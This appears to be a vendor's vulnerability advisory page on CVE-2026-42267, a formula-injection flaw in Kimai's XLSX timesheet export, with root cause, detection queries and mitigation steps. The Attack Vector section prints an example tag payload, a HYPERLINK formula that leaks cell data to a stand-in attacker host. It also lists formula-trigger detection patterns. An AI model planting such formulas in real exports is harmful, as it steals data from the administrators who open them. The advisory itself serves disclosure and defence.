A Leader in the 2026 Gartner® Magic Quadrant™ for Endpoint Protection. Six years running.Six years. Gartner® Magic Quadrant™ Leader.Find Out Why
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-42267

CVE-2026-42267: Kimai Time Tracking RCE Vulnerability

CVE-2026-42267 is a remote code execution vulnerability in Kimai time tracking application that allows formula injection through XLSX exports. This article covers technical details, affected versions 2.27.0-2.54.0, and mitigation.

Published: May 18, 2026

CVE-2026-42267 Overview

CVE-2026-42267 is a formula injection vulnerability in Kimai, an open-source time tracking application. The flaw affects versions 2.27.0 through versions prior to 2.54.0. Any authenticated user with ROLE_USER can create a tag whose name begins with = via POST /api/tags, then attach it to a timesheet. When an administrator exports timesheets to XLSX, the malicious tag name is written as a spreadsheet formula and executed when the file opens in Excel. The issue is classified under [CWE-1236] Improper Neutralization of Formula Elements in a CSV File.

Critical Impact

A low-privileged Kimai user can inject spreadsheet formulas that execute in an administrator's Excel session during XLSX export, enabling data exfiltration or client-side code execution paths.

Affected Products

  • Kimai versions 2.27.0 through 2.53.x
  • Kimai self-hosted deployments exposing the /api/tags endpoint
  • Any Kimai instance whose administrators export timesheets to XLSX

Discovery Timeline

  • 2026-05-08 - CVE-2026-42267 published to NVD
  • 2026-05-13 - Last updated in NVD database
  • Kimai version 2.54.0 released with the fix

Technical Details for CVE-2026-42267

Vulnerability Analysis

The vulnerability resides in the XLSX export pipeline for timesheets. When an administrator triggers an export, Kimai's ArrayFormatter.formatValue() joins all tag names assigned to a timesheet using PHP's implode() and returns the concatenated string without sanitization. The downstream OpenSpout library inspects each cell value during XLSX serialization. Strings beginning with = are promoted to a FormulaCell and written into the workbook XML as <f>...</f> elements. Excel evaluates these formula nodes when the file opens, treating attacker-controlled tag data as executable spreadsheet logic.

Formula injection in spreadsheet exports extends beyond benign arithmetic. Adversaries can craft payloads that invoke HYPERLINK, DDE, WEBSERVICE, or external command primitives depending on the victim's Excel version and macro settings. Exfiltration of cell contents to attacker-controlled hosts is achievable without macros.

Root Cause

Kimai trusts user-supplied tag names as plain text throughout its data model. The export code path does not neutralize leading =, +, -, @, or tab characters before passing values to OpenSpout. Because OpenSpout interprets the leading = as a directive to create a formula cell, the tag name becomes an active formula in the exported workbook.

Attack Vector

An authenticated user with the default ROLE_USER permission issues an authenticated POST /api/tags request with a payload such as {"name":"=HYPERLINK(\"https://attacker.example/?d=\"&A1,\"click\")"}. The user then assigns the tag to one of their own timesheet entries. The next time an administrator exports timesheets to XLSX and opens the file, Excel evaluates the formula in the administrator's session context. Exploitation requires user interaction from the victim administrator who opens the exported file. See the GitHub Security Advisory GHSA-3xc2-h5r3-wv3r for additional technical detail.

Detection Methods for CVE-2026-42267

Indicators of Compromise

  • Tag records in the Kimai database whose name column begins with =, +, -, @, or a tab character.
  • POST /api/tags requests in web server logs containing JSON bodies with formula-prefixed name values.
  • Exported XLSX files containing <f> elements within xl/worksheets/sheet*.xml that reference functions such as HYPERLINK, WEBSERVICE, IMPORTDATA, or DDE.

Detection Strategies

  • Query the kimai2_tags table for name LIKE '=%' OR name LIKE '+%' OR name LIKE '-%' OR name LIKE '@%' to surface injected tags.
  • Inspect API access logs for POST /api/tags calls originating from non-administrative accounts that include formula characters in the request body.
  • Unzip recent XLSX exports and grep sheet XML for <f> formula nodes that originated from tag columns.

Monitoring Recommendations

  • Alert on the creation of any tag whose name starts with a spreadsheet formula trigger character.
  • Monitor administrator workstations for Excel processes spawning network connections or child processes shortly after opening Kimai exports.
  • Track Kimai application version across hosts and flag any instance running 2.27.0 through 2.53.x.

How to Mitigate CVE-2026-42267

Immediate Actions Required

  • Upgrade Kimai to version 2.54.0 or later on every deployment.
  • Audit the kimai2_tags table for existing tags whose names begin with formula trigger characters and remove or rename them.
  • Re-issue any XLSX timesheet exports generated since 2.27.0 was deployed, as previously distributed files may contain live formulas.

Patch Information

The maintainers fixed the issue in Kimai 2.54.0. The release notes and patched code are available at the Kimai 2.54.0 GitHub Release. The vendor advisory is published as GHSA-3xc2-h5r3-wv3r.

Workarounds

  • Restrict tag creation to trusted administrative roles until the upgrade is complete by tightening API permissions on /api/tags.
  • Instruct administrators to open exported XLSX files in Protected View and to decline any prompts to enable formulas, external content, or DDE.
  • Post-process exports through a script that prefixes cells starting with =, +, -, @, or tab with a single quote to neutralize formula evaluation.

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechKimai

  • SeverityMEDIUM

  • CVSS Score5.4

  • EPSS Probability0.03%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityHigh
  • AvailabilityNone
  • CWE References
  • CWE-1236
  • Technical References
  • GitHub Release Version 2.54.0
  • Vendor Resources
  • GitHub Security Advisory GHSA-3xc2-h5r3-wv3r
  • Related CVEs
  • CVE-2026-41498: Kimai Auth Bypass Vulnerability

  • CVE-2026-44298: Kimai Path Traversal Vulnerability

  • CVE-2026-40486: Kimai Auth Bypass Vulnerability

  • CVE-2026-40479: Kimai Time Tracking XSS Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English